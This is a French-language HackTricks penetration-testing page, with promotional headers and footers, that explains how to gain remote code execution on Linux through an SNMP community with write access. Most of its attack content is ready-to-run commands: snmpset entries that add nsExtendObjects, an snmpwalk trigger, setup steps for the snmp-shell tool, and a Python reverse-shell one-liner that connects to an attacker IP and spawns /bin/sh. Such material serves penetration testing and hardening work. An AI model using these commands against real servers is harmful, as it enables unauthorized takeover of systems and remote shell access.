Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
# SNMP RCE SNMP peut être exploité par un attaquant si l'administrateur néglige sa configuration par défaut sur le périphérique ou le serveur. En **abusant de la communauté SNMP avec des autorisations d'écriture (rwcommunity)** sur un système d'exploitation Linux, l'attaquant peut exécuter des commandes sur le serveur. ## Extension des services avec des commandes supplémentaires Pour étendre les services SNMP et ajouter des commandes supplémentaires, il est possible d'ajouter de nouvelles ** lignes à la table "nsExtendObjects"**. Cela peut être réalisé en utilisant la commande `snmpset` et en fournissant les paramètres nécessaires, y compris le chemin absolu vers l'exécutable et la commande à exécuter : ```bash snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \ 'nsExtendStatus."evilcommand"' = createAndGo \ 'nsExtendCommand."evilcommand"' = /bin/echo \ 'nsExtendArgs."evilcommand"' = 'hello world' ``` ## Injection de commandes pour l'exécution Injecter des commandes pour s'exécuter sur le service SNMP nécessite l'existence et l'exécutabilité du binaire/script appelé. Le **`NET-SNMP-EXTEND-MIB`** exige de fournir le chemin absolu vers l'exécutable. Pour confirmer l'exécution de la commande injectée, la commande `snmpwalk` peut être utilisée pour énumérer le service SNMP. **La sortie affichera la commande et ses détails associés**, y compris le chemin absolu : ```bash snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects ``` ## Exécution des commandes injectées Lorsque la **commande injectée est lue, elle est exécutée**. Ce comportement est connu sous le nom de **`run-on-read()`**. L'exécution de la commande peut être observée lors de la lecture de snmpwalk. ### Obtenir un Shell Serveur avec SNMP Pour prendre le contrôle du serveur et obtenir un shell serveur, un script Python développé par mxrch peut être utilisé à partir de [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git). Alternativement, un shell inversé peut être créé manuellement en injectant une commande spécifique dans SNMP. Cette commande, déclenchée par le snmpwalk, établit une connexion de shell inversé vers la machine de l'attaquant, permettant de contrôler la machine victime. Vous pouvez installer le prérequis pour exécuter ceci: ```bash sudo apt install snmp snmp-mibs-downloader rlwrap -y git clone https://github.com/mxrch/snmp-shell cd snmp-shell sudo python3 -m pip install -r requirements.txt ``` Ou un shell inversé : ```bash snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"' ``` ## Références * [https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.